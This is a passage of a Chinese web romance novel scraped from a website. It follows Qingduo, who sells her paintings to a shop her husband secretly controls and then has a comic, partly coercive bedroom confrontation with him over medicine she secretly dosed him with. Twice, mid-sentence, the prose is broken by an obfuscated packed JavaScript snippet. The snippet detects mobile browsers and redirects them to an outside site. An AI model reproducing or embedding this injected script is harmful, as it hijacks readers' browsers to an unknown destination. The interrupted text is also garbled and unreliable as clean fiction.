这招惹得青朵也想哭了。她带着哭腔唤了一声:“露浓姐!”,俯下身用力抱住她,动作太大按到露浓的伤口,她吃痛,忍不住呼出声来。 青朵心中一惊,松手后撤,后面朱熠因露浓落泪,焦心弯身,不料青朵突然倒退,他一个躲闪不及,青朵的脑袋撞到自己的鼻子上,刹那间眼冒金星,鼻血直流。 朱熠仰面按住鼻子,另一手接过青朵塞给他的“手帕”,无奈道:“我跟你绝对犯冲!” 话音刚落,就听到扑哧笑声,朱熠朝着青朵怒目而视,却见青朵诧异地望向一边,他顺着她的目光看去 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“不劳烦你。”他下意识道,腿却诚实地走过去,坐在床上,与露浓面对面。见露浓抽出自己的手帕,要来擦他的鼻血,他连忙推辞道:“不用不用,用这个就行了!”他举起手中的帕子刚要擦,凑近才注意到它有一股尘土味,定睛一看,原来青朵递给他的,是不知从哪随手拽来的抹布。 可他一点儿都不生气,露浓左手轻轻扶着他的下巴,右手捏着手帕,细致擦拭,透过丝帕,还能感受到她指尖的温度。她的脸离他这样近,近到可以细数她的睫毛,朱熠不自觉屏住呼吸,生怕自己一个不小心,吹伤了她。 他讨厌露水。晨起习武,他有时将衣衫拖下掷在草丛上,拎起时,衣服又湿又凉,无法上身。 而他现在却觉得,身上暖,热,烫。 初听她的名字,他摸不清头脑,他见过的露水,都是透明轻巧,露珠怎么会“浓”呢? 此时,眼见她笑靥浅淡,颊似红莲,泪水若露珠滚落,颗颗打在他心尖上,开出五光十色花,那是平日里嘘寒问暖时的温柔,文思泉涌的才华,临危不惧的从容……明明暗暗,重重叠叠,浓得散不尽,化不开。一时间,他竟看得痴了。 露浓无意瞥到他的目光,羞得手一松,手帕轻飘落下,两人都要伸手去拿,手帕被两处掌风袭击得加快落下,二人急忙去抓,不经意间,十指相扣,攥住的,却是彼此的手。 呼吸一时凝滞,视线相对,两人都觉得面红耳赤,一时居然忘了松开,心跳震颤,不知是这边,还是那边。 “药好啦!露浓姐你听我的,一定是先内……”青朵进门抬起头,瞥到两人“连”在一起的手迅速松开,朱熠更是像坐到火炉上,一下子弹起来。 不是吧?她本想着给两人空间,说说知心话,没想到就她出去这一会,都动上手了? 她眼中闪着狡黠的光芒:“你们两个背着我做什么呢?” “没,没什么,”朱熠支支吾吾,“露浓姑娘,她,她只是帮我擦血迹。” “哦——”青朵一副恍然大悟的样子,“原来你鼻子长手上了!” 她假模假样地赞道:“朱大哥真乃当世奇人也!” 40. 中计 往常总是要和她争论不休的朱熠,此时竟是满脸通红,一声不吭,几步冲了出去。 他闷头走到院中,渐渐停下脚步,抬起右手,呆呆望着它,仔细回想,仿佛还能隐隐感受到,那柔软的触感…… 青朵扒着门边,偏头瞧朱熠停在院中,一动不动。她摇头叹道:“唉!问朱熠情为何物,直教人痴痴呆呆!” 她转身故意问道:“姐姐,我说得对不对?” 露浓说“对”也不是,“不对”也不是,“对”与“不对”,小姑娘都挖好“陷阱”等她跳下去呢!瞧她满脸笑嘻嘻,使坏的时候,脸上一点都藏不住! “我该喝药了。”她深吸一口气,试图平复心绪,手指却牢牢绞在一起。 青朵抿嘴而笑,还是适可而止吧!她这位好姐姐脸皮薄得很。于是乖乖把药端到露浓面前。 她这一抬起胳膊,衣袖随即滑落,露出双手手腕处,各戴着一个凋萎的茉莉花手串。 露浓紧紧盯着手串,问道:“这不会是……” “嗯!我一猜就是你给我买的,你平时又不爱花啊粉儿的!”青朵应道。 “已经叫我压坏了,摘下来吧,等我好了买新的给你。” “不,”青朵举起胳膊,望着压平的花苞,既像是说给露浓,又像是自己发誓,“我要它时时刻刻提醒我。赛林甫欠我们很多很多,我要叫他一一还清!” * 青朵可是个大忙人。 她白天要照顾露浓,晚上要给曾正卿熬药,每次还要派人给他送到书房,都没有时间去学画。而自从她下决心学画,爹就对她严加管束,倘若有一日没去,就大驾光临,跑到她家里吃酒,问他为什么来,他舌头都捋不直,说道: “我呀,就往家里一‘落’,远远的,听到谁家,打,打鼓,我这一好奇,循声找来,你猜怎么?” “怎么?”青朵隐隐有了不祥的预感,但嘴快一步,话说出来收不回去。 唐礼拍拍她的肩膀:“我当是什么呢!原来,原来是,唐大小姐,最擅长的‘退堂鼓’!敲得那是,那是,轰轰烈烈,烈烈轰轰……轰轰……唔!” 青朵咬着嘴唇,举起酒杯,执意将酒灌进他的口中,这才封住他的嘴。 讨厌!吃她的,喝她的,还笑话她,周围的丫头都笑了,叫她少夫人的面子往哪搁? 更可怕的是下一次,曾正卿陪爹饮酒后回屋,她正挑灯赶着画爹布置的松树,他站在一旁看画,突然笑出声来。 青朵愕然:“你笑什么?” “没事,没事,哈哈,”曾正卿挥挥手,根本止不住笑,“只是看到‘树’,想起岳父席间提及的旧事。听说夫人幼时极爱爬树,二老严令禁止,你便偷偷去爬。不想那日竟爬至高处,心惊胆战,不敢下去,又耻于示弱,索性抱着树干闷声不响……” 青朵脸涨得通红,跳起来捂住曾正卿的嘴,一叠声嚷嚷:“忘掉!忘掉!快忘掉!” 曾正卿一边避开她的手,一边笑道:“幸得奴仆路过发现,这才把你救下,不料某人落地时还嘴硬:‘哪里是下不来了?登高望远,我看风景呢!’” 青朵无力地放下手,头顶在曾正卿胸前,不肯让他看羞红的脸,还不时感受到他笑得胸膛震颤。 菩萨!快把她变成鼹鼠,让她打个地洞钻下去吧! 好你个唐阿礼!青朵愤愤地想,为了逼她坚持学画,居然随便抖落她的糗事,他以为自己就会因此束手就擒? 青绿葡萄的阴影落到纸上,青朵目不转睛地盯着笔尖,将曙红色细细地点染在菊花花尖上。 “待会染花瓣缝隙的时候,要一根一根染,可不许糊弄我!”唐礼躺在摇椅上,来回摇晃,悠闲自在。 “哼,我当然会好好画!我很尊重我笔下的画!”青朵不服气道。 “那上次的松树怎么沾上墨点?” 青朵一时语塞,她含糊道:“就是……就是出了一些,一些意外。” 说到底,还不是因为你! 青朵叹了一口气,感觉自己像是翻不出佛祖手掌心的孙悟空,已被牢牢压在五行山下,就是没有东土大唐来的和尚,揭了封条,救她出去。 “阿照!我煮了赤豆圆子,你画了好久,也该歇一歇,出来吃一碗吧!”珠娘喊道。 青朵大喜,嘿,说“唐僧”,“唐僧”到!她“噌”地站起,赶忙应了,就听到唐礼在身后说道:“画完再吃。” “啊?”青朵扫了一眼画,嘟囔道,“等画完圆子都稠了!” “画完再吃!” 唐礼的话含有不容置疑的威严,外面的珠娘也不说话,青朵只好坐下,心中哀怨地对珠娘道:哪有这么不坚定的“唐僧”啊! 好不容易,点完花蕊,大功告成,身后的呼噜声一个赛一个的响,青朵踮起脚尖,悄声走出去。 “吃吧,我估摸时间差不多,新做的。” 青朵向珠姨道声谢,欢快地舀起一勺,吹去热气,送入口中。豆沙绵密沙软,只轻轻一抿,就滑入口中,裹挟着甜蜜的浪潮,在口腔里汹涌。小圆子软糯不失嚼劲,搅动中,米香溢出,为豆沙的甜蜜增添几分清香。 “呼呼呼——”青朵赶忙舀起一勺,飞速吹气,恨不得马上就塞到嘴里。 珠娘慈爱地瞧着她,悄悄问道:“阿照,屋里那堆画,你还要不要?这附近新开了一个画铺,正收画呢!听说附近的一个穷秀才,一幅画卖了几百文!” 青朵顿了一下,继续吹热气,一副满不在意的样子:“那都是我练习的,你想卖就卖吧,放着也占地方,不过你不要期待太高,我的画……我的画……不值钱的……”她的声音越来越弱,她将勺子整个塞进嘴巴,仿佛自己是因为吃东西才声小。 珠娘不以为意:“咳,他平时也卖不上几个子,只是那个铺子刚开,急着收花鸟图,价格就比别家高些。” 青朵的双眼射出光芒,她叼着勺子口齿不清道:“在哈?” 她要去她要去!就算她的画与糖画差不多价格,可如今能多一些,多一文是一文,谁会和钱过不去呢? * 青朵拘谨地坐在画铺中,周围充斥着熟悉的颜料味。她盯着掌柜的胡须发呆,对面的方掌柜像是在思考什么难题,嘴一鼓一鼓的,山羊胡也跟着上下摆动,就像山羊咀嚼青草,仿佛下一个动作就要满足地咩咩叫 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看来这个价格,还是不得曾夫人心意。要不要再加点?可是……那就太不值了。方掌柜转念一想,反正店也是曾家的,钱不过是从东家的口袋,进到东家夫人的荷包里,又有什么区别呢!只是,不要引起曾夫人怀疑就好。 他伸出手掌,比划了个“五”,坚决道:“一百五十文!” “啪!”青朵拍案而起,双手拄着桌子沉声道:“一百五十文是吧?” “……额,是,是。”方掌柜见状擦了一把汗,“夫人不满意的话,还……” “满意满意满意!”青朵瞬间变脸,露出谄媚的笑容,“方掌柜真是一双慧眼,我再满意不过了!” 一百五十文! 一百五十文啊! 就算她画春宫图,都没有如此高的价格!何况还是她不甚擅长的花鸟图! 这画铺叫“明珠雅斋”,依她来看,这名字再合适不过了。 终于有人能赏识她这颗“明珠”! * “曾老弟,这事不好办啊!”陈记书铺的老板陈年叹道。 “剽窃话本一事,确实不止《画堂春》一个,前儿个刚说动几个肯站出来,偏生露浓姑娘被劫的事传出去了,这下可好了!这几个都跟耗子见了猫似的,说什么也不肯出来了!唉,我真是白费功夫!” 好一个一石二鸟的“妙”计,曾正卿暗暗冷笑,若真叫赛林甫顺意,一方面可以逼露浓承认自己不是《画堂春》作者,指鹿为马颠倒黑白;又能叫遭过剽窃的人吓破胆,不敢出声。如此以来,他守真堂“名正言顺”夺走别人的心血,成为众多话本的独家书铺。 “‘怕’也是人之常情,不过,常言道‘重赏之下必有勇夫’,陈老板可曾以利诱之?” “还给利?”陈年指着自己,气呼呼道,“我出头替他们打抱不平,替他们正名后,润笔费我也只取一点辛苦钱,其他都是他们的,这还不够吗?我还搭钱求他们不成?” “这亏本买卖,我老陈不做!” 曾正卿笑了笑,端起茶碗小啜一口,才慢慢说道:“陈老板说的也在理,小弟倒是想到个‘不亏本’的法子,不知陈兄可有兴趣?” 41. 答复 曾正卿迈进院子正要进屋,不经意间,掠视窗前,忽然后退几步盯着不动。 他那随心所欲、懒懒散散的夫人,竟然在窗前伏案作画! “少爷回来了!”芳晴迎上前来,她的声音不小,可那个用功的身影不为所动,她顺着曾正卿的目光看去,悄声道,“少夫人回来就坐在那一动没动,只吃了几块糕点,连晚饭都没吃,少爷去劝一劝吧!” 明天的太阳要打西边出来了。 自露浓出事,曾正卿生怕青朵有意外,故而她每次出门,必遣护卫悄随其后,暗中保护,并向他汇报。待说道青朵今日去了“明珠雅斋”,曾正卿从账目中抬起眼来。 鱼儿上钩了。 那护卫迟疑一会儿,又道:“别的倒也没有什么稀奇的,只有一点,少夫人冲出‘明珠雅斋’后,在门口掐腰站立,哈哈大笑。” 曾正卿哑然失笑,他想过夫人雀跃的样子,却不料是这样。他笑道:“在我意料之内,不,也在我意料之外。” 他又想到上次岳父饮酒时,得意道:“元柏,你瞧好了,我有办法让这丫头主动找我学画。” 夫人虽然喜欢画画,天生却是坐不住的性子,这一点岳父与他都心知肚明。如今看来,他们的办法都叫她收了心。 青朵放下手中的笔,揉一揉手腕,抬眼一瞧,看到曾正卿站在院中,顿时喜上眉梢,招手连声道:“卿卿卿卿!你快来!我有个好消息告诉你!” 曾正卿含笑点头,刚一进去,青朵双手背在后面,像是把什么藏在身后,乐呵呵地蹦到他左边,歪脑袋哼道:“哒哒哒哒哒~” 又跳到他右边,摇摇摆摆唱道:“哒哒哒哒哒~” 曾正卿见状冁然一笑,装作一副好奇的样子,问道:“夫人因何这般欢喜??” 青朵把身后藏着的荷包拿出,提在手里直往曾正卿眼前递,乐呵呵道:“因为这个!” “哦?”曾正卿捏了捏荷包,笑道,“‘小麻雀’今日收获颇丰啊!” “嘿!”青朵得意地将钱都倒出,在桌面上抹匀,让每一个钱币都获得亮相的空间,“我的画,已经能卖一百五十文了!” “一百五十文?”曾正卿诧异道,这倒不是装的,虽让方掌柜开“高”价,但这是不是过高了? 他观察着青朵的神色,见她神采奕奕,松了一口气,还好夫人没有起疑心。 青朵连说带比划,将卖画的经历跟曾正卿讲了一遍,喜道:“上个月我那幅画,才跟糖画差不多,一转眼,就已经值一百五十文!”她拍拍胸膛,肯定道,“你瞧着吧卿卿,我是有本事的!过不了多久,我就会像我爹那样,一幅画也能卖上个千金之价!” 曾正卿伸手抚摸她的脑袋,应和道:“夫人妙笔天成,假以时日,定能成为名家!” 青朵踮起脚尖,反过来抚摸他的脑袋,认真道:“卿卿,成亲以来,都是你养我,等我成了名画家,我就能赚钱养你啦!” 曾正卿没想到她会说这种惊人之语,闻言眉峰骤然扬起道:“哦?你养我?”笑意漫上嘴角,打趣道:“能得夫人垂怜,当真是我修来的福气。” “嗯!”青朵扬脸道,“只是我还得跟爹学一段时间,你先忍一忍,等我学成,我一定好好怜爱你!” 奇怪,卿卿的脸怎么红了?青朵大惑不解,她直勾勾地盯着曾正卿,想从他脸上看出些什么,曾正卿偏过脸去,轻咳一声,说道:“咳,我听芳晴说你还没吃晚饭,先……先用餐吧!” * 席间,曾正卿有意无意地说道:“那日听恭直一言,深以为意,他说夫妻之前分栖两院,情易疏离。” 青朵咽下口中的河鳗肉,还来不及回味鱼的鲜味,脱口而出:“有吗?我没觉得这影响我们的感情啊!” 曾正卿顿时如鲠在喉,被她一句话噎住。他冷眼旁观,见青朵将鱼汤浇在米饭上,一勺接着一勺,想着她应当不是不想让自己回来,只是无心之语,又明示道:“你我新婚不久,尚未圆房,本就生疏,若能夜夜同宿,也好相守相知,正好我修身功成,今日就可以迁回旧院。” 青朵听到“圆房”两个字,脑袋“嗡”地一声响,后面的话已经听不进去了,就看着他的嘴巴一张一合,像是老和尚敲的木鱼“嘟嘟嘟”地响。 她就说嘛,她认识的朋友里面,除了露浓姐和朱熠,卿卿是与她最亲密的,完全没有因为分房而感情疏离啊! 原来原来,醉翁之意不在酒啊!他他他,是想圆房! 自己睡一张大床,随便打滚,舒服得不得了,若是他回来,就不能舒展四肢,自由自在了。 还有,他如果还像之前那样,在早上偷亲自己,那就还得装睡,唉,也不知道长期以来,还能不能忍得住! 不过,他想圆房的话,也不必特意回来。在书房也能圆啊!她想到柜子里放置的山茶薄纱衣裙,登时飞红了脸, 心中主意已定,青朵羞道:“你……你不必再说,我明白啦,我,会给你答复的……” 她竟没有马上答应? 这实在出乎曾正卿的意料,他以为凭着青朵对他的依赖,她会爽快答应,却未想到吃了闭门羹。虽然婚前二人不甚了解彼此,但这段时间的相处,他明明感受到她对自己的情意,为何要在这事上拒绝自己呢? 又为何要日日熬药给自己喝? 难道这是她欲擒故纵的计策?曾正卿看到青朵把一大勺鱼汤饭塞进嘴里,一不小心呛得咳嗽,他轻拍她的后背,递过去一杯水,否定道,不,她没有这样的心机。 曾正卿心事在怀,一顿晚饭吃得没滋没味,闷闷不乐地回到书房,他当然可以不由分说搬回去,可看青朵的样子,又觉得回去也是无趣。心烦意乱之下,随手拿起一本书看,字字眼前过,个个皆不识。 忽地有几滴雨落到手臂上,他抬眼一瞧,外面不知何时风起,一股寒气随风涌入屋中,他起身关窗,将潮湿阻隔在外,封闭的屋子里闷沉沉,他与一豆烛火呆坐,瞥见墙上自己放大的影子,似是他难以言说的孤寂。 待他回过神,方才听到疾风骤雨掩盖下的敲门声,心下了然,这个时间,应当是夫人让丫头送药来了,吩咐道:“就放在外面,一会儿我自己取。” “卿卿,是我。”外面怯懦的声音响起,曾正卿一愣,急忙站起去开门,椅子一推之下响起刺耳的声响。 风雨的哗然骤然明晰,瓢泼的雨像飘动的白烟,青朵撑伞立在门前,在一片迷蒙中,亮得逼人的眼。曾正卿错愕道:“下着大雨,你怎么来了?” “我……啊切!” 他连忙拉她进屋,青朵放下手中的食盒,说道:“我给你送药来了!” 曾正卿不由得叹气,自己早就不喝这药了,每次丫头送来,他也是背后倒掉。早知道不如告诉她,省得她今日大雨赶来。 “往日都是让丫头送,这时大雨滂沱,你倒自己亲自跑来。还好披了斗篷,否则冻着了可如何是好?” 青朵勉强笑了笑,拿出手帕擦湿漉漉的发尾,说道:“不会的。” 曾正卿见她又不当一回事,刚要再说,一股凉气刮入,这才发现匆忙中门没关严,他走过去关上门,心下有些释然,也多了些甜蜜。夫人在闺房之事上一向羞涩,需慢慢来,既然冒雨前来送药,足见心中犹牵挂自己。 他说道:“既如此,你便在这住下,只是我这只有一床被褥,你——” 曾正卿说着转过身来,可眼前的景象让他瞬间僵在原地,喉咙滚动,一个字也吐不出来。 青绿的斗篷委地而落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736565|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同布满青苔潮湿的土壤,在这之上,一树山茶赫赫而生,炽热明艳,景曜光起。 * 曾正卿半张着嘴,呆望好一阵,脑袋一下子清醒过来,他避开眼睛,勉强问道:“你,你,你这是做什么?” 青朵低头看看自己的透明纱裙,满心疑惑,咦,珠姨不是说,只要她穿上这裙子给卿卿看,他就会明白了吗?看起来,他好像并不明白呀! 那就只好把话挑明,当时珠姨说保她“极尽鱼水之欢”,这话说出来怪羞人的。青朵不敢看他,紧闭双眼喊道:“我要和同你极尽鱼水之欢!” 死一般的静寂。 曾正卿无奈道:“夫人是想让全天下都知晓吗?” 啊!青朵后知后觉捂住嘴,外面还有仆人在呢!自己声音这么大,他们听得一清二楚! 偏巧这时曾正卿“嗤”地笑出声,青朵又羞又恼,她双手抱在胸前,遮住自己身体:“你笑什么!” 曾正卿并不回答,他向她走来,青朵不自觉后退两步,他微微笑道:“夫人躲什么?不是要‘鱼水之欢’吗?躲着我怎能同欢?” 青朵往前挪了一小步,嘴硬道:“我没躲啊,我——啊!” 曾正卿不待她说完,就把她打横抱起,稳稳将她放到床上,目光在她身上流连,他轻声道:“良宵苦短,怎堪蹉跎?” 青朵情不自禁全身抖动,简直是新婚夜重现。 她挤出一个比哭还难看的笑容:“夫,夫君,你,你还没喝药呢。” 曾正卿解开腰带,脱下外袍,回道:“不妨。” “妨的妨的!”青朵不顾遮住胸前,撑着胳膊坐起,就差这最后的一副,如果不喝,前功尽弃了怎么办?“我等你,你先喝药再过来。” “不就是补神的药,我现在精神得不得了。”曾正卿翻身上塌,俯下身去。 青朵在他的逼迫下,不得已慢慢躺下,就在他即将贴近自己之时,青朵双手撑在他胸前,强自镇静道:“你你你,裤子还穿着呢。” 既然自己没办法劝他喝药,那也得确保他的确痊愈,至少也要亲眼一见。 曾正卿玩味地瞧着她:“夫人如此迫不及待?” “不是!”青朵微微抬起身子向他身下看,一边敷衍道,“我是,我是,怕你热。” 她听得头上传来笑声,颇有嘲笑之意,正纳闷时,曾正卿拉过她的手按下:“如此,夫人可满意?” 青朵下意识地蜷缩手指握住,喜道:“你果然都好了!” 朝向与珠姨比划的一致,就是明明比手指更—— 啊! 啊啊啊! 眼前一道白光闪过,青朵只觉得头晕脑胀。 她,她刚才摸的,是,是什么东西! 像是火焰烧到自己的手,她猛地缩回,可曾正卿紧紧按着她的手,她只能使劲张开手掌,减少与那物的触碰。 她抖得更厉害了:“夫夫夫君君君……” 曾正卿垂眸凝视,淡淡道:“多亏夫人日日熬药,为我调理身体,我这‘不举’的毛病已经痊愈了。” “那就好。”她松了一口气,转而反应过来,大吃一惊,“你,你都知道了?” 他终于肯松手,青朵双手阻在身前,防止他靠近,曾正卿似笑非笑:“只是夫人好像药量似是重了些,唉,倘若今夜我对夫人有什么唐突之处,呵,还请你不要放在心上。” “唐唐突?什,什么……”青朵怕得要哭出来,悔不当初,自己当时就不该为了“报复”,加量让他吃苦药的,最后倒霉的还是自己! 她阻拦的双手似是摆设,曾正卿轻松地压下来,在她耳边轻声说道:“不瞒夫人说,这药效果实在强劲,只怕今晚我们会——” “无休无止。” 42. 荒唐 “哼,吹牛!”青朵吓得脸色惨白,压根不信他的话,这事有什么乐子,还能耗一晚上?画画足够有趣,她也没办法不眠不休画一整夜,难不成这事还能比画画更有趣?卿卿一定是糊弄她! “你不信?那我们试试?” 他的气息拂过耳边,痒痒的,青朵忍不住缩了缩脖子,不服输地回道:“试呗,我就是为这个来的!怎么,你不敢了?” 当他温热的唇含住她的耳垂,青朵猛地一颤,牙关紧闭,又闭不上,上下碰撞,“咯咯”作响。 “放松。” 青朵暗骂,换我压在上面亲你,就不信你能“放松”!嘴上哼哼道:“我放松了啊,我——” 她突然顿住,因为她感受到曾正卿的手顺着她的身侧一路向下,直到掀起她的裙摆。 青朵终于忍不住,她放声尖叫,挣扎道:“不要不要不要——”,下意识抬起右腿蹬去。 说是迟那时快,曾正卿一把握住她的小腿,他微微抬起头,声色不动:“夫人这是,故技重施?”说双腿压住她的腿,双臂紧紧将她困住,任凭她如何蠕动,一点松动的缝隙也无。 细碎的吻连连落在耳旁颈侧,青朵再也不敢逞强,她渐渐失了力气,急得呜呜哭道:“呜呜呜,卿卿我错了,我不该为了让你吃苦头,就给你加药量,呜呜呜,我再也不敢了,你放了我吧,我不想鱼水之欢了,我害怕,我好害怕啊!” “我,我不该贪图你的钱财,才答应嫁给你!”她痛哭流涕,“你待我的好我都记在心里,想着夫妻总得有孩子,所以寻医问药治你病,原是想……想与你真真正正成为夫妻,可我现在好怕啊!我不要做啦!哇——” 曾正卿诧异地抬头看她,但青朵哭得满脸是泪水,兀自不觉,她继续哭道:“你不是说等我吗?你,你得说话算话,呜呜呜,以后,以后再生好不好?我害怕啊呜呜呜……” 她哭着哭着,耳旁竟传来哧哧的笑声,猛地收住低头看,身上的人震颤得不能自已。 泪珠儿顺着她的苦瓜小脸滚滚留下,她抽噎了一声,可怜巴巴地问道:“你笑什么?” “唉,我笑的是,”曾正卿刮了刮她的鼻头,“我的夫人傻乎乎的。” “我没有。”青朵反抗道,本就委屈,被人说“傻”更委屈了,泪珠一颗接着一颗。 “那你倒是说说,凭什么认为我有难以启齿的毛病?” “这个……”青朵避开曾正卿的注视,眼神向右瞄,吞吞吐吐道,“就是,看到的……” “我过门那天晚上,踹伤你之后,不,不就看到你,你下面了嘛……” 曾正卿听她这么一说,顿时又好气又好笑:“我的好夫人,这,这……”他看着青朵澄澈的目光,一时不知道怎么跟这个天真的姑娘说,但又不能不说清楚,他叹了口气,低声道:“我当时受了惊吓,怎么可能还……” 青朵怔然,她呆呆地接道:“原来是被我吓得起不来……” “只是当时。”曾正卿打断她。 “只是暂时被我吓到,马上就能伸缩自如了!”青朵一边说着,一边竖起食指,眼睛也亮了。 这话怎么听起来怪怪的?曾正卿默默按下青朵的食指,想要补充什么,又不知道说什么,他脑子乱成一团,身子坐直,看着青朵破涕为笑,无奈地摇头。 太好了!原来卿卿没有病!青朵也随着坐起,接过曾正卿递来的手帕擦眼泪,想起一事,愧疚道:“是我跑来说,要和你……要和你……事到临头,又反悔……” “我难道还不知道你不情愿?” 青朵愕然:“你?你什么时候知道的?” “从看到你穿这身衣裙的那一刻开始。” 青朵顺着他的目光,低头看到自己接近透明的纱裙,顿时感到脸上发烧,拽起被子将自己围住,疑惑地问道:“你怎么看出来的?” 她穿这裙子,难道不够诱人吗? 曾正卿笑了一声,戏谑道:“夫人的眼中哪有对我的渴望?倒是有几分‘不破楼兰终不还’的决绝。” 青朵脸上一红,刚想解释自己是“新兵上阵——头一回”,以后“熟能生巧”便好了。就又听他说道:“所以我将计就计,小小的‘惩罚’夫人一番。” 什么?青朵瞪大双眼生气道:“原来你是故意吓唬我!太过分了!” “怎么,只许夫人往药里添料,不许为夫逗趣?”曾正卿挑起她的下巴,揶揄道,“难道还有比怀疑自己夫君‘不举’更荒唐的事?” 青朵的脸发烫,她只好嘟囔着:“好吧,就算我们扯平了。” “不行,”他偏偏不依不饶,数落道,“夫人可知,你熬的药让我夜里难眠,白日乏力?这些日子我一直强打精神,如何能轻易扯平?” “这……”青朵不知怎么办才好,小声解释道:“我不是故意的呀!” 曾正卿装模作样地背过身去,夸张地拍拍胸膛:“唉!原来夫人是为钱嫁我,枉我一片深情,夫人对我,却毫无情意啊!” “不是的!”青朵急了,“刚开始是这个原因不假,但和你相处至今,我是真心喜欢你!” 曾正卿的嘴角不禁翘起,他慢悠悠道:“心在你肚子里头,谁也看不见,你说是真的就是真,你说假的就是假,除非——” “除非什么?” “除非你能证明。”他缓缓道。 青朵为难道:“这要怎么证明?” “我有一个法子,”曾正卿转过身,敛去眼中狡狯的光芒,“诚恳”道,“听说男女两情相悦,都会情不自禁肌肤相亲,倘若夫人肯让我亲一亲,我便知你方才所说,是真还是假。” 嫣红染上青朵的脸颊,她垂头犹豫不决,自己不是没与他亲吻过,只是每次亲吻,都是他趁自己睡着,偷偷亲她,并不曾在清醒的时候,明目张胆的双唇相接。偷偷被亲已经让她觉得害羞非常,更不用说醒着的时候! 曾正卿见她不语,假意叹道:“唉,我全都明白了,原来夫人不过是随口安慰我的,唉!可怜我一厢情愿啊!” “不是的!”青朵见他‘自怨自艾’,一时冲动,脱口而出,“我愿意!”她对上曾正卿意味深长的眼,一时脸红到极致,她双手抓紧被子,弱弱道:“那……那你亲吧!”说完用力闭上双眼。 曾正卿慢慢凑近欲吻,突然青朵睁开眼睛,伸出一根手指抵在他的嘴上。 “等等!我要跟你说清楚!”她特意强调道,“是‘亲一亲’,不是‘二亲三亲’,更不是‘四亲五亲’,只能亲一次,不能没完没了!”她一边说着,随着数字的增多,伸出新的手指,最后五指张开,盖住他的嘴。 曾正卿见她一本正经地给自己“立规矩”,心里暗自生笑,他点头应道:“是,只有‘一’,没有二三四五。” 青朵见他神色郑重,料想他不能说谎,于是松开手再次闭上眼,为了方便他亲,还把嘴巴撅起,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758389|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热腾腾包子顶端的褶,让人食指大动。 曾正卿见状,更是差点儿笑出声来,他笑吟吟地瞧着她,这是世上最纯洁无瑕的容颜。 青朵等了好一会儿,都没等来似曾相识的触感,她忍不住睁开眼睛,见曾正卿就在眼前,笑容如春风拂面,奇道:“你怎么还不……” 一言未尽,他封住她的唇。 青朵的双眼骤然睁大,他们离得这样近,她甚至可以清晰地在他的双眼中看见自己惊讶的神色,她像一只被猎人发现了的鹿,惊慌失措。 不,他不是猎人。 青朵曾觉得他眼中像存有一池深潭,捉摸不透,而这一刻,一切了然可见。 那深深软软的目光,让她忘记了害羞,忘记了闭上眼睛。 自己已经不是自己,她的身子软成一根羽毛,从天空中飘落,飘飘然,渺渺然。她没有落下的方向,一切都掌握在风的手中,随他的吹拂指引,任意西东。 烛火挣扎着摇曳几下,最终撒手尘寰。漆黑的室内,呼啸的风声遮掩复杂的心跳。 青朵从未经历过炽烈的亲吻,浓烈的,像是不曾化开的绛红色,她糊糊涂涂,茫然若迷,顺着曾正卿的意,又慢慢躺回到床上。她如坠云雾,使不出半分力气,纵使他要继续做什么,也只好由着他去了。 曾正卿却在此时停下来。他翻身躺在她的身侧,把她紧紧抱在怀中。 急促的呼吸环绕在耳边,青朵自己也气息不稳,却急于问道:“你可证实了?” 头顶传来他的几声低笑,他抚摸着自己的脑袋,温柔道:“夫人所言非虚。” “哼!我说了你还不信,我都说了我早就喜欢你了!”青朵低声嗔怪道。 卿卿还说自己傻,明明他也傻乎乎的!露浓姐不消说,虽然自己总与朱熠斗个不停,但就凭朱熠那个呆脑壳,也知道自己是喜欢他的,否则为什么总和她玩在一起? 曾正卿在她额上轻轻亲了一下,低声道:“所以这真是个好法子,是不是?以后可以……多来几次……” 他怎么又亲自己?唉罢了罢了,不是亲在嘴上,就不算他是“二亲”了!听这话的意思,他还没亲够?那可不行,再来几次,自己迟早要投降! 青朵没有回答,幸亏灯熄了,看不到她的脸红,她清了清嗓子转移话题道:“话说,你怎么发现我的药是治你,治你那种病的?” “可还记得我问过这方子?从你屋里出来,我便着人将药渣送到药铺一问就知。”他叹了口气,“那时我才明白,之前我的身体为什么会……嗯,都是药物的缘故。” “你带给我太多‘惊喜’!” 青朵有些不好意思,讪讪地没有说话,正想着怎么往回圆,突然想到一件事:“等等!那天你就不再喝药,怎么不直接告诉我?” 曾正卿顿了一下,他早联想到柜子里的薄纱裙,不想说破,就是怕打断她的计划,看不到她穿上的模样。于是支吾道:“我……我想看看你,究竟要做什么。” 青朵“噌”地坐起,嚷嚷道:“好你个曾卿卿!你早发现了却不告诉我!知不知道,熬这个药有多辛苦?” “不行不行!如今扯不平了!你补偿我才行!” “好吧!”曾正卿枕在手上,大方道,“作为补偿,我也勉为其难,让夫人亲一亲好了!” 他想到什么,蓦地笑了一声,补充道:“只能‘一亲’,‘二亲三亲,四亲五亲’可不行!” 43. 秘画 谁稀罕! 青朵气呼呼道:“我不要亲!这算什么补偿!我要换一个!” 她不甘心地拽着曾正卿的胳膊拉扯:“补偿补偿补偿补偿!” 曾正卿被她磨得没有办法,只好说:“你想要什么?” 青朵一时语塞,她想了又想,什么都想不到,说道:“先记在账上吧,等我想到再说。” 